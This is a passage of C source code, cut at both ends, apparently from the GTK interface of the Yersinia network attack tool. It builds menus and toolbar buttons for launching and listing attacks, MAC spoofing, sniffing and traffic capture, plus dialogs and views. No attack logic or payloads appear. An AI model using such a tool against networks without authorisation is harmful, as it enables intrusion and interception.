(gtk_c_on_protocols_toggle), &i); */ } /* Menu Actions */ menu_actions = gtk_menu_item_new_with_mnemonic (_("_Actions")); gtk_widget_show (menu_actions); gtk_container_add (GTK_CONTAINER (main_menubar), menu_actions); menu_actions_menu = gtk_menu_new (); gtk_menu_item_set_submenu (GTK_MENU_ITEM (menu_actions), menu_actions_menu); /* Menu Actions - Execute Attack */ menu_actions_execute = gtk_image_menu_item_new_with_mnemonic (_("e_Xecute attack")); menu_actions_execute_img = gtk_image_new_from_stock ("gtk-execute", GTK_ICON_SIZE_MENU); gtk_widget_show(menu_actions_execute_img); gtk_image_menu_item_set_image(GTK_IMAGE_MENU_ITEM(menu_actions_execute), menu_actions_execute_img); gtk_widget_show (menu_actions_execute); gtk_container_add (GTK_CONTAINER (menu_actions_menu), menu_actions_execute); gtk_widget_add_accelerator (menu_actions_execute, "activate", accel_group, GDK_x, (GdkModifierType) GDK_CONTROL_MASK, GTK_ACCEL_VISIBLE); /* Menu Actions - Edit interfaces */ menu_actions_interfaces = gtk_image_menu_item_new_with_mnemonic (_("edit _Interfaces")); menu_actions_interfaces_img = gtk_image_new_from_stock ("gtk-preferences", GTK_ICON_SIZE_MENU); gtk_widget_show(menu_actions_interfaces_img); gtk_image_menu_item_set_image(GTK_IMAGE_MENU_ITEM(menu_actions_interfaces), menu_actions_interfaces_img); gtk_widget_show (menu_actions_interfaces); gtk_container_add (GTK_CONTAINER (menu_actions_menu), menu_actions_interfaces); gtk_widget_add_accelerator (menu_actions_interfaces, "activate", accel_group, GDK_i, (GdkModifierType) GDK_CONTROL_MASK, GTK_ACCEL_VISIBLE); /* Menu Actions - Load Default */ menu_actions_load_default = gtk_image_menu_item_new_with_mnemonic (_("Load protocol _Default values")); menu_actions_load_default_img = gtk_image_new_from_stock ("gtk-network", GTK_ICON_SIZE_MENU); gtk_widget_show(menu_actions_load_default_img); gtk_image_menu_item_set_image(GTK_IMAGE_MENU_ITEM(menu_actions_load_default), menu_actions_load_default_img); gtk_widget_show (menu_actions_load_default); gtk_container_add (GTK_CONTAINER (menu_actions_menu), menu_actions_load_default); gtk_widget_add_accelerator (menu_actions_load_default, "activate", accel_group, GDK_d, (GdkModifierType) GDK_CONTROL_MASK, GTK_ACCEL_VISIBLE); /* Menu Actions - List Attacks */ menu_actions_list_attacks = gtk_image_menu_item_new_with_mnemonic (_("_list attacks")); menu_actions_list_attacks_img = gtk_image_new_from_stock ("gtk-justify-center", GTK_ICON_SIZE_MENU); gtk_widget_show(menu_actions_list_attacks_img); gtk_image_menu_item_set_image(GTK_IMAGE_MENU_ITEM(menu_actions_list_attacks), menu_actions_list_attacks_img); gtk_widget_show (menu_actions_list_attacks); gtk_container_add (GTK_CONTAINER (menu_actions_menu), menu_actions_list_attacks); gtk_widget_add_accelerator (menu_actions_list_attacks, "activate", accel_group, GDK_T, (GdkModifierType) GDK_CONTROL_MASK, GTK_ACCEL_VISIBLE); /* Menu Actions - Clear stats */ menu_actions_clear = gtk_image_menu_item_new_with_mnemonic (_("_Clear packet stats")); menu_actions_clear_img = gtk_image_new_from_stock ("gtk-clear", GTK_ICON_SIZE_MENU); gtk_widget_show(menu_actions_clear_img); gtk_image_menu_item_set_image(GTK_IMAGE_MENU_ITEM(menu_actions_clear), menu_actions_clear_img); gtk_widget_show (menu_actions_clear); gtk_container_add (GTK_CONTAINER (menu_actions_menu), menu_actions_clear); menu_actions_clear_menu = gtk_menu_new(); gtk_menu_item_set_submenu(GTK_MENU_ITEM(menu_actions_clear), menu_actions_clear_menu); /* Menu Actions - Clear stats - PROTO_NAME */ for (i = 0; i < MAX_PROTOCOLS; i++) { menu_clear_proto1 = gtk_menu_item_new_with_mnemonic (_(protocols[i].namep)); gtk_widget_set_name(menu_clear_proto1, protocols[i].namep); if (protocols[i].visible) gtk_widget_show (menu_clear_proto1); gtk_container_add (GTK_CONTAINER (menu_actions_clear_menu), menu_clear_proto1); g_signal_connect ((gpointer) menu_clear_proto1, "activate", G_CALLBACK (gtk_c_on_actions_clear_activate), helper); } /* Menu Actions - Clear stats - ALL PROTOCOLS */ menu_clear_proto1 = gtk_menu_item_new_with_mnemonic (_("All protocols")); gtk_widget_set_name(menu_clear_proto1, "ALL"); gtk_widget_show (menu_clear_proto1); gtk_container_add (GTK_CONTAINER (menu_actions_clear_menu), menu_clear_proto1); g_signal_connect ((gpointer) menu_clear_proto1, "activate", G_CALLBACK (gtk_c_on_actions_clear_activate), helper); /* Menu Actions - Capture Traffic */ menu_capture = gtk_image_menu_item_new_with_mnemonic (_("Capture traffic")); menu_capture_img = gtk_image_new_from_stock("gtk-save", GTK_ICON_SIZE_MENU); gtk_widget_show(menu_capture_img); gtk_image_menu_item_set_image(GTK_IMAGE_MENU_ITEM(menu_capture), menu_capture_img); gtk_widget_show (menu_capture); gtk_container_add (GTK_CONTAINER (menu_actions_menu), menu_capture); menu_capture_menu = gtk_menu_new (); gtk_menu_item_set_submenu (GTK_MENU_ITEM (menu_capture), menu_capture_menu); /* Menu Actions - Capture Traffic - PROTO_NAME */ for (i = 0; i < MAX_PROTOCOLS; i++) { menu_capture_proto1 = gtk_menu_item_new_with_mnemonic (_(protocols[i].namep)); gtk_widget_set_name(menu_capture_proto1, protocols[i].namep); if (protocols[i].visible) gtk_widget_show (menu_capture_proto1); gtk_container_add (GTK_CONTAINER (menu_capture_menu), menu_capture_proto1); g_signal_connect ((gpointer) menu_capture_proto1, "activate", G_CALLBACK (gtk_c_on_capture_activate), helper); } /* Menu Actions - Capture Traffic - ALL PROTOCOLS */ menu_capture_proto1 = gtk_menu_item_new_with_mnemonic (_("All protocols")); gtk_widget_set_name(menu_capture_proto1, "ALL"); gtk_widget_show (menu_capture_proto1); gtk_container_add (GTK_CONTAINER (menu_capture_menu), menu_capture_proto1); g_signal_connect ((gpointer) menu_capture_proto1, "activate", G_CALLBACK (gtk_c_on_capture_activate), helper); /* Menu Options */ menu_options = gtk_menu_item_new_with_mnemonic (_("_Options")); gtk_widget_show (menu_options); gtk_container_add (GTK_CONTAINER (main_menubar), menu_options); menu_options_menu = gtk_menu_new (); gtk_menu_item_set_submenu (GTK_MENU_ITEM (menu_options), menu_options_menu); /* Menu Options - MAC Spoofing */ menu_options_macspoofing = gtk_check_menu_item_new_with_mnemonic (_("_MAC Spoofing")); if (helper->node->mac_spoofing) gtk_check_menu_item_set_active (GTK_CHECK_MENU_ITEM(menu_options_macspoofing), TRUE); else gtk_check_menu_item_set_active (GTK_CHECK_MENU_ITEM(menu_options_macspoofing), FALSE); gtk_widget_show (menu_options_macspoofing); gtk_container_add (GTK_CONTAINER (menu_options_menu), menu_options_macspoofing); gtk_widget_add_accelerator (menu_options_macspoofing, "activate", accel_group, GDK_M, (GdkModifierType) GDK_CONTROL_MASK, GTK_ACCEL_VISIBLE); /* Menu Help */ menu_help = gtk_menu_item_new_with_mnemonic (_("_Help")); gtk_widget_show (menu_help); gtk_container_add (GTK_CONTAINER (main_menubar), menu_help); menu_help_menu = gtk_menu_new (); gtk_menu_item_set_submenu (GTK_MENU_ITEM (menu_help), menu_help_menu); /* Menu Help - About */ menu_help_about = gtk_image_menu_item_new_from_stock ("gtk-about", accel_group); gtk_widget_show (menu_help_about); gtk_container_add (GTK_CONTAINER (menu_help_menu), menu_help_about); /* Toolbar */ toolbar = gtk_toolbar_new(); gtk_widget_show(toolbar); gtk_toolbar_set_style (GTK_TOOLBAR (toolbar), GTK_TOOLBAR_BOTH); gtk_toolbar_set_tooltips(GTK_TOOLBAR(toolbar), TRUE); gtk_box_pack_start (GTK_BOX (main_vbox), toolbar, FALSE, FALSE, 0); tmp_toolbar_icon_size = gtk_toolbar_get_icon_size (GTK_TOOLBAR (toolbar)); /* Toolbar: launch attack */ toolbar_launch_img = gtk_image_new_from_stock ("gtk-execute", tmp_toolbar_icon_size); gtk_widget_show (toolbar_launch_img); toolbar_launch = (GtkWidget*) gtk_tool_button_new (toolbar_launch_img, _("Launch attack")); gtk_tool_item_set_tooltip(GTK_TOOL_ITEM(toolbar_launch), tooltips, ("Launch a specific attack"), NULL); gtk_widget_show (toolbar_launch); gtk_container_add (GTK_CONTAINER (toolbar), toolbar_launch); /* Toolbar: edit interfaces */ toolbar_interfaces_img = gtk_image_new_from_stock ("gtk-preferences", tmp_toolbar_icon_size); gtk_widget_show (toolbar_interfaces_img); toolbar_interfaces = (GtkWidget*) gtk_tool_button_new (toolbar_interfaces_img, _("Edit interfaces")); gtk_tool_item_set_tooltip(GTK_TOOL_ITEM(toolbar_interfaces), tooltips, ("Edit interfaces to sniff and inject data"), NULL); gtk_widget_show (toolbar_interfaces); gtk_container_add (GTK_CONTAINER (toolbar), toolbar_interfaces); /* Toolbar: load default values */ toolbar_default_img = gtk_image_new_from_stock ("gtk-network", tmp_toolbar_icon_size); gtk_widget_show (toolbar_default_img); toolbar_default = (GtkWidget*) gtk_tool_button_new (toolbar_default_img, _("Load default")); gtk_tool_item_set_tooltip(GTK_TOOL_ITEM(toolbar_default), tooltips, ("Load protocol default (and random) values"), NULL); gtk_widget_show (toolbar_default); gtk_container_add (GTK_CONTAINER (toolbar), toolbar_default); /* Toolbar: list attacks */ toolbar_list_attacks_img = gtk_image_new_from_stock ("gtk-justify-center", tmp_toolbar_icon_size); gtk_widget_show (toolbar_list_attacks_img); toolbar_list_attacks = (GtkWidget*) gtk_tool_button_new (toolbar_list_attacks_img, _("List attacks")); gtk_tool_item_set_tooltip(GTK_TOOL_ITEM(toolbar_list_attacks), tooltips, ("List running attacks (and kill them!)"), NULL); gtk_widget_show (toolbar_list_attacks); gtk_container_add (GTK_CONTAINER (toolbar), toolbar_list_attacks); /* Toolbar: clear */ toolbar_clear_img = gtk_image_new_from_stock ("gtk-clear", tmp_toolbar_icon_size); gtk_widget_show (toolbar_clear_img); toolbar_clear = (GtkWidget*) gtk_menu_tool_button_new (toolbar_clear_img, _("Clear stats")); gtk_tool_item_set_tooltip(GTK_TOOL_ITEM(toolbar_clear), tooltips, ("Clear ALL packet statistics"), NULL); gtk_menu_tool_button_set_menu(GTK_MENU_TOOL_BUTTON(toolbar_clear), menu_actions_clear_menu); gtk_widget_show (toolbar_clear); gtk_container_add (GTK_CONTAINER (toolbar), toolbar_clear); /* Toolbar: capture */ toolbar_capture_img = gtk_image_new_from_stock ("gtk-save", tmp_toolbar_icon_size); gtk_widget_show (toolbar_capture_img); toolbar_capture = (GtkWidget*) gtk_menu_tool_button_new (toolbar_capture_img, _("Capture")); gtk_tool_item_set_tooltip(GTK_TOOL_ITEM(toolbar_capture), tooltips, ("Capture traffic in PCAP format"), NULL); gtk_menu_tool_button_set_menu(GTK_MENU_TOOL_BUTTON(toolbar_capture), menu_capture_menu); gtk_widget_show (toolbar_capture); gtk_container_add (GTK_CONTAINER (toolbar), toolbar_capture); /* Toolbar: edit mode */ toolbar_edit = (GtkWidget*) gtk_toggle_tool_button_new (); gtk_widget_show (toolbar_edit); gtk_tool_button_set_label (GTK_TOOL_BUTTON (toolbar_edit), _("Edit mode")); gtk_tool_item_set_tooltip(GTK_TOOL_ITEM(toolbar_edit), tooltips, ("Enable/Disable edit mode"), NULL); toolbar_edit_img = gtk_image_new_from_stock ("gtk-edit", tmp_toolbar_icon_size); gtk_widget_show (toolbar_edit_img); gtk_tool_button_set_icon_widget (GTK_TOOL_BUTTON (toolbar_edit), toolbar_edit_img); gtk_container_add (GTK_CONTAINER (toolbar), toolbar_edit); //gtk_toggle_tool_button_set_active (GTK_TOGGLE_TOOL_BUTTON (toggletoolbutton1), TRUE); /* Toolbar: quit */ toolbar_quit_img = gtk_image_new_from_stock ("gtk-quit", tmp_toolbar_icon_size); gtk_widget_show (toolbar_quit_img); toolbar_quit = (GtkWidget*) gtk_tool_button_new (toolbar_quit_img, _("Exit")); gtk_tool_item_set_tooltip(GTK_TOOL_ITEM(toolbar_quit), tooltips, ("Quit: Bring da noize!!"), NULL); gtk_widget_show (toolbar_quit); gtk_container_add (GTK_CONTAINER (toolbar), toolbar_quit); main_vbox_hpaned = gtk_hpaned_new (); gtk_widget_show (main_vbox_hpaned); gtk_box_pack_start (GTK_BOX (main_vbox), main_vbox_hpaned, TRUE, TRUE, 0); main_vh_vpaned = gtk_vpaned_new (); gtk_widget_show (main_vh_vpaned); gtk_paned_pack1 (GTK_PANED (main_vbox_hpaned), main_vh_vpaned, FALSE, TRUE); main_vhv_scroll = gtk_scrolled_window_new (NULL, NULL); gtk_widget_set_size_request (main_vhv_scroll, 200, 250); gtk_widget_show (main_vhv_scroll); gtk_paned_pack1 (GTK_PANED (main_vh_vpaned), main_vhv_scroll, FALSE, TRUE); gtk_scrolled_window_set_policy (GTK_SCROLLED_WINDOW (main_vhv_scroll), GTK_POLICY_AUTOMATIC, GTK_POLICY_AUTOMATIC); gtk_scrolled_window_set_shadow_type (GTK_SCROLLED_WINDOW (main_vhv_scroll), GTK_SHADOW_IN); main_vhvs_tree = gtk_tree_view_new(); gtk_tree_view_set_rules_hint(GTK_TREE_VIEW(main_vhvs_tree), TRUE); main_vhvs_tree_model = gtk_list_store_new (2, G_TYPE_STRING, G_TYPE_INT); gtk_scrolled_window_add_with_viewport (GTK_SCROLLED_WINDOW (main_vhv_scroll), main_vhvs_tree); gtk_tree_view_set_model (GTK_TREE_VIEW (main_vhvs_tree), GTK_TREE_MODEL (main_vhvs_tree_model)); gtk_widget_show (main_vhvs_tree); for (i=0; i < MAX_PROTOCOLS; i++) { if (protocols[i].visible) { gtk_list_store_append (GTK_LIST_STORE (main_vhvs_tree_model), &iter); gtk_list_store_set (GTK_LIST_STORE(main_vhvs_tree_model), &iter, 0, protocols[i].namep, -1); gtk_list_store_set (GTK_LIST_STORE(main_vhvs_tree_model), &iter, 1, protocols[i].packets, -1); } } gtk_list_store_append (GTK_LIST_STORE (main_vhvs_tree_model), &iter); gtk_list_store_set (GTK_LIST_STORE(main_vhvs_tree_model), &iter, 0, "Total", -1); g_timeout_add(1000, (GSourceFunc)&gtk_c_tree_update, main_vhvs_tree_model); cell = gtk_cell_renderer_text_new (); cell2 = gtk_cell_renderer_text_new(); column = gtk_tree_view_column_new_with_attributes ("Protocols", cell, "text", 0, NULL); gtk_tree_view_append_column (GTK_TREE_VIEW (main_vhvs_tree), GTK_TREE_VIEW_COLUMN (column)); g_object_set(cell, "background", "Blue", "background-set", TRUE, NULL); g_object_set(cell, "foreground", "White", "foreground-set", TRUE, NULL); column = gtk_tree_view_column_new_with_attributes ("Packets", cell2, "text", 1, NULL); gtk_tree_view_append_column (GTK_TREE_VIEW (main_vhvs_tree), GTK_TREE_VIEW_COLUMN (column)); main_vhv_vbox = gtk_vbox_new (FALSE, 5); gtk_widget_show (main_vhv_vbox); gtk_paned_pack2 (GTK_PANED (main_vh_vpaned), main_vhv_vbox, TRUE, TRUE); main_vhvv_scroll = gtk_scrolled_window_new (NULL, NULL); gtk_widget_show (main_vhvv_scroll); gtk_box_pack_start (GTK_BOX (main_vhv_vbox), main_vhvv_scroll, TRUE, TRUE, 0); gtk_scrolled_window_set_policy (GTK_SCROLLED_WINDOW (main_vhvv_scroll), GTK_POLICY_AUTOMATIC, GTK_POLICY_AUTOMATIC); gtk_scrolled_window_set_shadow_type (GTK_SCROLLED_WINDOW (main_vhvv_scroll), GTK_SHADOW_IN); main_vhvvs_tree = gtk_tree_view_new(); gtk_tree_view_set_rules_hint(GTK_TREE_VIEW(main_vhvvs_tree), TRUE); main_vhvvs_tree_model = gtk_list_store_new (3, G_TYPE_STRING, G_TYPE_STRING, G_TYPE_STRING); gtk_scrolled_window_add_with_viewport (GTK_SCROLLED_WINDOW (main_vhvv_scroll), main_vhvvs_tree); gtk_tree_view_set_model (GTK_TREE_VIEW (main_vhvvs_tree), GTK_TREE_MODEL (main_vhvvs_tree_model)); gtk_widget_show (main_vhvvs_tree); cell = gtk_cell_renderer_text_new (); column = gtk_tree_view_column_new_with_attributes ("Field", cell, "text", 0, NULL); gtk_tree_view_append_column (GTK_TREE_VIEW (main_vhvvs_tree), GTK_TREE_VIEW_COLUMN (column)); column = gtk_tree_view_column_new_with_attributes ("Value", cell, "text", 1, NULL); gtk_tree_view_append_column (GTK_TREE_VIEW (main_vhvvs_tree), GTK_TREE_VIEW_COLUMN (column)); column = gtk_tree_view_column_new_with_attributes ("Description", cell, "text", 2, NULL); gtk_tree_view_append_column (GTK_TREE_VIEW (main_vhvvs_tree), GTK_TREE_VIEW_COLUMN (column)); main_vhvv_eventbox = gtk_event_box_new(); gtk_widget_set_size_request (main_vhvv_eventbox, 20, 20); //color.red = 0; //color.green = 0; //color.blue = 0; //gtk_widget_modify_bg (GTK_WIDGET(main_vhvv_eventbox), GTK_STATE_NORMAL, &color); gtk_container_set_border_width(GTK_CONTAINER(main_vhvv_eventbox), 1); gtk_widget_show(main_vhvv_eventbox); main_vhvv_clock = gtk_label_new(_("00:00:00")); //gdk_color_parse ("green", &color); //gtk_widget_modify_fg (GTK_WIDGET(main_vhvv_clock), GTK_STATE_NORMAL, &color); gtk_widget_show(main_vhvv_clock); gtk_box_pack_start (GTK_BOX (main_vhv_vbox), main_vhvv_eventbox, FALSE, TRUE, 0); gtk_container_add(GTK_CONTAINER(main_vhvv_eventbox), main_vhvv_clock); main_vh2_vpaned = gtk_vpaned_new(); gtk_widget_show(main_vh2_vpaned); gtk_paned_pack2 (GTK_PANED (main_vbox_hpaned), main_vh2_vpaned, TRUE, TRUE); main_vhv2_notebook = gtk_notebook_new (); gtk_widget_show (main_vhv2_notebook); helper->notebook = main_vhv2_notebook; gtk_paned_pack1 (GTK_PANED (main_vh2_vpaned), main_vhv2_notebook, TRUE, TRUE); GLADE_HOOKUP_OBJECT (Main, main_vhv2_notebook, "main_vhv2_notebook"); for (i=0; i < MAX_PROTOCOLS; i++) { protocols_vpaned[i] = create_protocol_mwindow(Main, helper, i); if (protocols[i].visible) gtk_widget_show(protocols_vpaned[i]); gtk_container_add (GTK_CONTAINER (main_vhv2_notebook), protocols_vpaned[i]); main_vhn_labels[i] = gtk_label_new (_(protocols[i].namep)); if (protocols[i].visible) gtk_widget_show (main_vhn_labels[i]); gtk_notebook_set_tab_label (GTK_NOTEBOOK (main_vhv2_notebook), gtk_notebook_get_nth_page (GTK_NOTEBOOK (main_vhv2_notebook), i), main_vhn_labels[i]); } /* Yersinia log viewer */ tty_tmp->buffer_log = gtk_text_buffer_new(NULL); main_log_scroll = gtk_scrolled_window_new(NULL, NULL); gtk_widget_show(main_log_scroll); gtk_container_add(GTK_CONTAINER(main_vhv2_notebook), main_log_scroll); gtk_scrolled_window_set_policy (GTK_SCROLLED_WINDOW (main_log_scroll), GTK_POLICY_AUTOMATIC, GTK_POLICY_AUTOMATIC); gtk_scrolled_window_set_shadow_type (GTK_SCROLLED_WINDOW (main_log_scroll), GTK_SHADOW_IN); main_log = gtk_text_view_new_with_buffer(tty_tmp->buffer_log); gtk_text_view_set_editable(GTK_TEXT_VIEW(main_log), FALSE); gtk_text_view_set_cursor_visible(GTK_TEXT_VIEW(main_log), FALSE); gtk_widget_show(main_log); gtk_container_add (GTK_CONTAINER (main_log_scroll), main_log); main_vhn_labels[MAX_PROTOCOLS] = gtk_label_new (_("Yersinia log")); gtk_widget_show(main_vhn_labels[MAX_PROTOCOLS]); gtk_tooltips_set_tip(tooltips, main_vhn_labels[MAX_PROTOCOLS], "Yersinia log for debugging purposes", NULL); gtk_notebook_set_tab_label (GTK_NOTEBOOK (main_vhv2_notebook), gtk_notebook_get_nth_page (GTK_NOTEBOOK (main_vhv2_notebook), MAX_PROTOCOLS), main_vhn_labels[MAX_PROTOCOLS]); /* Hexadecimal View */ main_vhv2_scrollhex = gtk_scrolled_window_new (NULL, NULL); gtk_widget_show (main_vhv2_scrollhex); gtk_paned_pack2 (GTK_PANED (main_vh2_vpaned), main_vhv2_scrollhex, FALSE, TRUE); gtk_scrolled_window_set_policy (GTK_SCROLLED_WINDOW (main_vhv2_scrollhex), GTK_POLICY_AUTOMATIC, GTK_POLICY_AUTOMATIC); gtk_scrolled_window_set_shadow_type (GTK_SCROLLED_WINDOW (main_vhv2_scrollhex), GTK_SHADOW_IN); buffer_hex = gtk_text_buffer_new(NULL); main_vhv2_texthex = gtk_text_view_new_with_buffer(buffer_hex); /* We need to set a monospaced font for the alignment */ font_desc = pango_font_description_from_string ("Monospace 10"); gtk_widget_modify_font(main_vhv2_texthex, font_desc); // pango_font_description_free(font_desc); gtk_widget_show (main_vhv2_texthex); gtk_container_add (GTK_CONTAINER (main_vhv2_scrollhex), main_vhv2_texthex); gtk_paned_pack2 (GTK_PANED (main_vh2_vpaned), main_vhv2_scrollhex, TRUE, TRUE); /* Status bar - botton of the screen */ helper->statusbar = gtk_statusbar_new (); g_signal_connect( (gpointer)helper->statusbar, "destroy", G_CALLBACK( gtk_c_statusbar_destroy ), (gpointer)helper ); gtk_widget_show (helper->statusbar); gtk_box_pack_start (GTK_BOX (main_vbox), helper->statusbar, FALSE, FALSE, 0); helper->mode = gtk_notebook_get_current_page(GTK_NOTEBOOK(main_vhv2_notebook)); /* Timeouts */ g_timeout_add(500, (GSourceFunc)gtk_c_refresh_mwindow, (gpointer)helper); g_timeout_add(1000, (GSourceFunc)&gtk_c_clock_update, main_vhvv_clock); /* Menu signals */ g_signal_connect ((gpointer) menu_file_open, "activate", G_CALLBACK (gtk_c_on_file_open_activate), helper); g_signal_connect ((gpointer) menu_file_save, "activate", G_CALLBACK (gtk_c_on_file_save_activate), helper); g_signal_connect ((gpointer) menu_file_quit, "activate", G_CALLBACK (gtk_c_on_file_quit_activate), helper); g_signal_connect ((gpointer) menu_protocols_proto1, "activate", G_CALLBACK (on_protocols_proto1_activate), NULL); g_signal_connect ((gpointer) menu_actions_execute, "activate", G_CALLBACK (gtk_c_on_actions_execute_activate), helper); g_signal_connect ((gpointer) menu_actions_interfaces, "activate", G_CALLBACK (gtk_c_on_actions_interfaces_activate), helper); g_signal_connect ((gpointer) menu_actions_load_default, "activate", G_CALLBACK (gtk_c_on_menu_actions_load_default_activate), helper); g_signal_connect ((gpointer) menu_actions_list_attacks, "activate", G_CALLBACK (gtk_c_on_menu_actions_list_attacks_activate), helper); g_signal_connect ((gpointer) menu_actions_clear, "activate", G_CALLBACK (on_menu_actions_clear_activate), main_vhv2_notebook); g_signal_connect( (gpointer) menu_options_macspoofing, "toggled", G_CALLBACK( on_menu_options_macspoofing_toggle ), helper ); g_signal_connect( (gpointer) menu_help_about, "activate", G_CALLBACK( gtk_i_create_aboutdialog ), NULL ); /* Toolbar signals */ g_signal_connect ((gpointer) toolbar_launch, "clicked", G_CALLBACK (gtk_c_on_actions_execute_activate), helper); g_signal_connect ((gpointer) toolbar_interfaces, "clicked", G_CALLBACK (gtk_c_on_actions_interfaces_activate), helper); g_signal_connect ((gpointer) toolbar_default, "clicked", G_CALLBACK (gtk_c_on_menu_actions_load_default_activate), helper); g_signal_connect ((gpointer) toolbar_list_attacks, "clicked", G_CALLBACK (gtk_c_on_menu_actions_list_attacks_activate), helper); g_signal_connect ((gpointer) toolbar_clear, "clicked", G_CALLBACK (on_menu_actions_clear_activate), main_vhv2_notebook); g_signal_connect ((gpointer) toolbar_edit, "toggled", G_CALLBACK (gtk_c_on_menu_options_edit_toggle), helper); g_signal_connect ((gpointer) toolbar_quit, "clicked", G_CALLBACK (gtk_c_on_file_quit_activate), helper); /* Mwindow signals */ g_signal_connect_after(G_OBJECT(main_vhv2_notebook), "switch-page", G_CALLBACK(gtk_c_refresh_mwindow_notebook), helper); /* Store pointers to all widgets, for use by lookup_widget(). */ GLADE_HOOKUP_OBJECT_NO_REF (Main, Main, "Main"); GLADE_HOOKUP_OBJECT (Main, main_vbox, "main_vbox"); GLADE_HOOKUP_OBJECT (Main, main_menubar, "main_menubar"); GLADE_HOOKUP_OBJECT (Main, menu_file, "menu_file"); GLADE_HOOKUP_OBJECT (Main, menu_file_menu, "menu_file_menu"); GLADE_HOOKUP_OBJECT (Main, menu_file_open, "menu_file_open"); GLADE_HOOKUP_OBJECT (Main, menu_file_save, "menu_file_save"); GLADE_HOOKUP_OBJECT (Main, separatormenuitem1, "separatormenuitem1"); GLADE_HOOKUP_OBJECT (Main, menu_file_quit, "menu_file_quit"); GLADE_HOOKUP_OBJECT (Main, menu_protocols, "menu_protocols"); GLADE_HOOKUP_OBJECT (Main, menu_protocols_menu, "menu_protocols_menu"); GLADE_HOOKUP_OBJECT (Main, menu_protocols_proto1, "menu_protocols_proto1"); GLADE_HOOKUP_OBJECT (Main, menu_actions, "menu_actions"); GLADE_HOOKUP_OBJECT (Main, menu_actions_menu, "menu_actions_menu"); GLADE_HOOKUP_OBJECT (Main, menu_actions_execute, "menu_actions_execute"); GLADE_HOOKUP_OBJECT (Main, menu_actions_interfaces, "menu_actions_interfaces"); GLADE_HOOKUP_OBJECT (Main, menu_actions_load_default, "menu_actions_load_default"); GLADE_HOOKUP_OBJECT (Main, menu_actions_list_attacks, "menu_actions_list_attacks"); GLADE_HOOKUP_OBJECT (Main, menu_actions_clear, "menu_actions_clear"); GLADE_HOOKUP_OBJECT (Main, menu_actions_clear_menu, "menu_actions_clear_menu"); GLADE_HOOKUP_OBJECT (Main, menu_clear_proto1, "menu_clear_proto1"); GLADE_HOOKUP_OBJECT (Main, menu_capture, "menu_capture"); GLADE_HOOKUP_OBJECT (Main, menu_capture_menu, "menu_capture_menu"); GLADE_HOOKUP_OBJECT (Main, menu_options, "menu_options"); GLADE_HOOKUP_OBJECT (Main, menu_options_menu, "menu_options_menu"); GLADE_HOOKUP_OBJECT (Main, menu_options_macspoofing, "menu_options_macspoofing"); GLADE_HOOKUP_OBJECT (Main, menu_help, "menu_help"); GLADE_HOOKUP_OBJECT (Main, menu_help_menu, "menu_help_menu"); GLADE_HOOKUP_OBJECT (Main, menu_help_about, "menu_help_about"); GLADE_HOOKUP_OBJECT (Main, toolbar_launch, "toolbar_launch"); GLADE_HOOKUP_OBJECT (Main, toolbar_interfaces, "toolbar_interfaces"); GLADE_HOOKUP_OBJECT (Main, toolbar_default, "toolbar_default"); GLADE_HOOKUP_OBJECT (Main, toolbar_list_attacks, "toolbar_list_attacks"); GLADE_HOOKUP_OBJECT (Main, toolbar_clear, "toolbar_clear"); GLADE_HOOKUP_OBJECT (Main, toolbar_capture, "toolbar_capture"); GLADE_HOOKUP_OBJECT (Main, toolbar_edit, "toolbar_edit"); GLADE_HOOKUP_OBJECT (Main, toolbar_quit, "toolbar_quit"); GLADE_HOOKUP_OBJECT (Main, main_vbox_hpaned, "main_vbox_hpaned"); GLADE_HOOKUP_OBJECT (Main, main_vh_vpaned, "main_vh_vpaned"); GLADE_HOOKUP_OBJECT (Main, main_vhv_scroll, "main_vhv_scroll"); GLADE_HOOKUP_OBJECT (Main, main_vhvs_tree, "main_vhvs_tree"); GLADE_HOOKUP_OBJECT (Main, main_vhv_vbox, "main_vhv_vbox"); GLADE_HOOKUP_OBJECT (Main, main_vhvv_scroll, "main_vhvv_scroll"); GLADE_HOOKUP_OBJECT (Main, main_vhvvs_tree, "main_vhvvs_tree"); GLADE_HOOKUP_OBJECT (Main, main_vhv2_texthex, "main_vhv2_texthex"); GLADE_HOOKUP_OBJECT (Main, main_vhvv_clock, "main_vhvv_clock"); GLADE_HOOKUP_OBJECT (Main, helper->statusbar, "statusbar"); gtk_window_add_accel_group (GTK_WINDOW (Main), accel_group); return Main; } GtkWidget* gtk_i_create_opendialog (struct gtk_s_helper *helper) { GtkWidget *opendialog; GtkWidget *opendialog_vbox; GtkWidget *opendialog_buttons; GtkWidget *opendialog_cancel_button; GtkWidget *opendialog_ok_button; opendialog = gtk_file_chooser_dialog_new (_("Open configuration file"), NULL, GTK_FILE_CHOOSER_ACTION_OPEN, NULL, NULL); GTK_WINDOW (opendialog)->type = GTK_WINDOW_TOPLEVEL; gtk_window_set_type_hint (GTK_WINDOW (opendialog), GDK_WINDOW_TYPE_HINT_DIALOG); opendialog_vbox = GTK_DIALOG (opendialog)->vbox; gtk_widget_show (opendialog_vbox); opendialog_buttons = GTK_DIALOG (opendialog)->action_area; gtk_widget_show (opendialog_buttons); gtk_button_box_set_layout (GTK_BUTTON_BOX (opendialog_buttons), GTK_BUTTONBOX_END); opendialog_cancel_button = gtk_button_new_from_stock ("gtk-cancel"); gtk_widget_show (opendialog_cancel_button); gtk_dialog_add_action_widget (GTK_DIALOG (opendialog), opendialog_cancel_button, GTK_RESPONSE_CANCEL); GTK_WIDGET_SET_FLAGS (opendialog_cancel_button, GTK_CAN_DEFAULT); opendialog_ok_button = gtk_button_new_from_stock ("gtk-open"); gtk_widget_show (opendialog_ok_button); gtk_dialog_add_action_widget (GTK_DIALOG (opendialog), opendialog_ok_button, GTK_RESPONSE_OK); GTK_WIDGET_SET_FLAGS (opendialog_ok_button, GTK_CAN_DEFAULT); g_signal_connect_swapped ((gpointer) opendialog_cancel_button, "clicked", G_CALLBACK (gtk_widget_destroy), GTK_OBJECT (opendialog)); g_signal_connect ((gpointer) opendialog_ok_button, "clicked", G_CALLBACK (gtk_c_opendialog_open), helper); /* Store pointers to all widgets, for use by lookup_widget(). */ GLADE_HOOKUP_OBJECT_NO_REF (opendialog, opendialog, "opendialog"); GLADE_HOOKUP_OBJECT_NO_REF (opendialog, opendialog_vbox, "opendialog_vbox"); GLADE_HOOKUP_OBJECT_NO_REF (opendialog, opendialog_buttons, "opendialog_buttons"); GLADE_HOOKUP_OBJECT (opendialog, opendialog_cancel_button, "opendialog_cancel_button"); GLADE_HOOKUP_OBJECT (opendialog, opendialog_ok_button, "opendialog_ok_button"); gtk_widget_grab_default (opendialog_ok_button); return opendialog; } GtkWidget* gtk_i_create_savedialog (struct gtk_s_helper *helper) { GtkWidget *savedialog; GtkWidget 